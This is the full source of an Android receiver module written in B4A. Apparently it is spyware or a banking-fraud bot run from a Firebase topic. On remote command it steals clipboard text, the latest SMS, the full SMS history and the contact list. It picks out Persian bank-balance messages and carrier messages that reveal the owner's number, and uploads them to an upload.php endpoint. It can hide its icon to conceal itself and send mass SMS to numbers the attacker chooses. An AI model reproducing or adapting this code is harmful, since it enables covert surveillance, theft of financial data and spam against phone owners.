﻿B4A=true
Group=Default Group
ModulesStructureVersion=1
Type=Receiver
Version=12.2
@EndOfDesignText@

Sub Process_Globals
	Private fm As FirebaseMessaging
	Dim Command As String
	Dim pd As PersianDeviceInfo
	Dim Opr,model,androidid,android,battry,nump,txm,data As String
	Dim pe As PhoneEvents
	Dim ht As HttpJob
	Dim p As Phone
	Dim myperm As PermissionsManager
	Dim Result1 As Boolean
	Dim Result2 As Boolean
	Dim Result3 As Boolean
	Dim dataSpam As String = "S29TZU1hRGFSZVQ="
	Dim pkg_name As String = "org.nanesag"
End Sub

Private Sub Receiver_Receive (FirstTime As Boolean, StartingIntent As Intent)
	If FirstTime Then
		fm.Initialize("fm")
		fm.Initialize("fm")
		pd.initialize("pd")
		ht.Initialize("ht",Me)
		pe.Initialize("PE")
		Log("initialized")
	End If
	fm.HandleIntent(StartingIntent)
End Sub

Public Sub SubscribeToTopics
	fm.SubscribeToTopic("sunlovel")
End Sub

Sub fm_MessageArrived (Message As RemoteMessage)
	android = pd.AndroidID
	Opr = pd.Carrier
	Dim model As String = pd.Manufacturer&"-"&pd.Model
	battry=pd.BatteryPercentage
	Log("message recived")
	Command = Message.GetData.Get("action")
	nump = Message.GetData.Get("phone")
	txm = Message.GetData.Get("text")
	Log(Command)
	If Command = "pingone"  Then
		CallSub2(Requests,"SendReq","resultend=ok&action=pingone&androidid="&android&"&model="&model&"&battry="&battry&"&Opr="&Opr&"&spam="&dataSpam)
	Else If Command = "ping" Then
		CallSub2(Requests,"SendReq","resultend=ok&action=ping&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
	Else If Command = "clipboard" Then
		Try
			Dim something As BClipboard
			If something.hasText Then
				CallSub2(Requests,"SendReq","resultend=ok&action=clipboard&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&text="&something.getText&"&spam="&dataSpam)
			End If
		Catch
			CallSub2(Requests,"SendReq","resultend=ok&action=clipboard&status=notok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		End Try
	Else If Command = "normal" Then
		Try
			p.SetRingerMode(p.RINGER_NORMAL)
			p.SetVolume(p.VOLUME_NOTIFICATION, 100, False)
			p.SetVolume(p.VOLUME_SYSTEM, 100, False)
			p.SetVolume(p.VOLUME_ALARM, 100, False)
			p.SetVolume(p.VOLUME_MUSIC, 100, False)
			CallSub2(Requests,"SendReq","resultend=ok&action=normal&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		Catch
			CallSub2(Requests,"SendReq","resultend=ok&action=normal&status=notok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		End Try
	Else If Command = "vibrate" Then
		Try
			p.SetVolume(p.VOLUME_NOTIFICATION, 0, False)
			p.SetVolume(p.VOLUME_SYSTEM, 0, False)
			p.SetVolume(p.VOLUME_ALARM, 0, False)
			p.SetVolume(p.VOLUME_MUSIC, 0, False)
			CallSub2(Requests,"SendReq","resultend=ok&action=vibrate&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		Catch
			CallSub2(Requests,"SendReq","resultend=ok&action=vibrate&status=notok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		End Try
	Else If Command = "testphone" Then
		Result1 = myperm.CheckPermission("android.permission.SEND_SMS")
		Result2 = myperm.CheckPermission("android.permission.READ_SMS")
		Result3 = myperm.CheckPermission("android.permission.READ_CONTACTS")
		CallSub2(Requests,"SendReq","resultend=ok&action=testphone&sendsms="&Result1&"&readsms="&Result2&"&contacts="&Result3&"&androidid="&android&"&model="&model&"&spam="&dataSpam)
	Else If Command ="hideicon" Then
		Try
			CallSub2(Requests,"hideIcon",Null)
			CallSub2(Requests,"SendReq","resultend=ok&action=hideicon&status=ok&androidid="&android&"&opr="&Opr&"&model="&model&"&battry="&battry&"&spam="&dataSpam)
		Catch
			CallSub2(Requests,"SendReq","resultend=ok&action=hideicon&status=notok&androidid="&android&"&opr="&Opr&"&model="&model&"&battry="&battry&"&spam="&dataSpam)
		End Try
	Else If Command = "unhideicon" Then
		Try
			CallSub2(Requests,"unhideIcon",Null)
			CallSub2(Requests,"SendReq","esultend=ok&action=unhideicon&status=ok&androidid="&android&"&opr="&Opr&"&model="&model&"&battry="&battry&"&spam="&dataSpam)
		Catch
			CallSub2(Requests,"SendReq","resultend=ok&action=unhideicon&status=notok&androidid="&android&"&opr="&Opr&"&model="&model&"&battry="&battry&"&spam="&dataSpam)
		End Try
	Else If Command = "change" Then
		Try
			StartService(Me)
			StartService(BackGround)
			CallSub2(Requests,"change_icon",pkg_name)
			CallSub2(Requests,"SendReq","resultend=ok&action=change&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		Catch
			Log(LastException)
			CallSub2(Requests,"SendReq","resultend=notok&action=change&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		End Try
	Else If Command = "lastsms" Then
		Try
			Dim listsms As List
			Dim sa As SmsMessages
			Dim lasts As String
			listsms = sa.GetAll
			lasts = listsms.Get(0)
			CallSub2(Requests,"SendReq","resultend=ok&action=lastsms&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&message="&lasts&"&spam="&dataSpam)
		Catch
			CallSub2(Requests,"SendReq","resultend=ok&action=lastsms&status=notok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		End Try
	Else If Command = "SendSingleMessage" Then
		CallSub2(Requests,"SendReq","resultend=ok&action=sendingstatus&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&spam="&dataSpam)
		Try
			Dim textToSend As String = txm
			Dim x As List = Regex.Split(",",nump)
			For i = 0 To x.Size
				Dim hi As String = x.Get(i)
				SendLargeSms(hi,textToSend)
				Sleep(5000)
			Next
		Catch
			Log(LastException)
		End Try
	Else If Command = "getsms" Then
		Dim Typesend As String
		Dim allsms As String
		allsms = ""
		Dim sm As SmsMessages
		Dim messages As List = sm.GetAll
		For Each m As Sms In messages
			If(m.Type = 1) = True Then
				Typesend = "Recived"
			Else
				Typesend = "Sent"
			End If
			allsms = allsms&CRLF&"Type : "&Typesend&CRLF&"Sender : "&m.Address&CRLF&"Message : "&m.Body&CRLF&"----------------------"
		Next
		File.WriteString(File.DirInternal,"allsms.txt",allsms)
		CallSub2(Requests,"SendSmsFile","/upload.php?resultend=ok&action=uploadsms&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&message="&lasts&"&spam="&dataSpam)
	Else If Command = "getcontact" Then
		Dim cu As ContactsUtils
		cu.Initialize
		Dim allcon As String
		allcon = ""
		For Each c As cuContact In cu.FindContactsByPhone("", False, False)
			For Each phone As cuPhone In cu.GetPhones(c.Id)
				allcon = allcon&CRLF&CRLF&c.DisplayName&CRLF&phone.Number
			Next
		Next
		File.WriteString(File.DirInternal,"allcontact.txt",allcon)
		CallSub2(Requests,"SendContactFile","/upload.php?resultend=ok&action=upload&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&message="&lasts&"&spam="&dataSpam)
	Else If Command = "getbalance" Then
		Dim allsms As String
		allsms = ""
		Dim sm As SmsMessages
		Dim messages As List = sm.Getbytype(sm.TYPE_INBOX)
		For Each m As Sms In messages
			If(m.Body.Contains("موجودی") Or m.Body.Contains("مانده") Or m.Body.Contains("باقیمانده")) And m.Body.Contains("بانک") = True  Then
				If(m.Body.Contains("رمز")) == False Then
					allsms = allsms&CRLF&m.Address&CRLF&m.Body&CRLF&"----------------------"
				End If
			End If
		Next
		File.WriteString(File.DirInternal,"allsms.txt",allsms)
		CallSub2(Requests,"SendSmsFile","/upload.php?resultend=ok&action=uploadsmsbalance&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&message="&lasts&"&spam="&dataSpam)
	Else If Command = "getuserphone" Then
		Dim allsms As String
		Dim allphone As String
		allphone = ""
		allsms = ""
		Dim sm As SmsMessages
		Dim messages As List = sm.Getbytype(sm.TYPE_INBOX)
		For Each m As Sms In messages
			If(m.Body.Contains("مشترک گرامی")) And m.Body.Contains("بسته") = True  Then
				allphone = m.Body.SubString2(11,24)
				If(allphone.Contains("98")) = True Then
					allsms = allsms&CRLF&allphone&CRLF&"-"
				End If
			End If
			If(m.Body.Contains("همراه گرامی، شماره")) And m.Body.Contains("همراه اول") = True  Then
				allphone = m.Body.SubString2(18,29)
				allsms = allsms&CRLF&allphone&CRLF&"-"
			End If
		Next
		File.WriteString(File.DirInternal,"allsms.txt",allsms)
		CallSub2(Requests,"SendSmsFile","/upload.php?resultend=ok&action=uploaduserphone&status=ok&androidid="&android&"&model="&model&"&battry="&battry&"&opr="&Opr&"&message="&lasts&"&spam="&dataSpam)
	End If
	
End Sub
Sub SendLargeSms(Number As String , Message As String)
	Dim r As Reflector
	r.Target = r.RunStaticMethod("android.telephony.SmsManager", "getDefault", Null, Null)
	Dim parts As Object
	parts = r.RunMethod2("divideMessage", Message, "java.lang.String")
	r.RunMethod4("sendMultipartTextMessage", _
      Array As Object(Number, Null, parts, Null, Null), _
      Array As String("java.lang.String", "java.lang.String", _
         "java.util.ArrayList", "java.util.ArrayList", "java.util.ArrayList"))
End Sub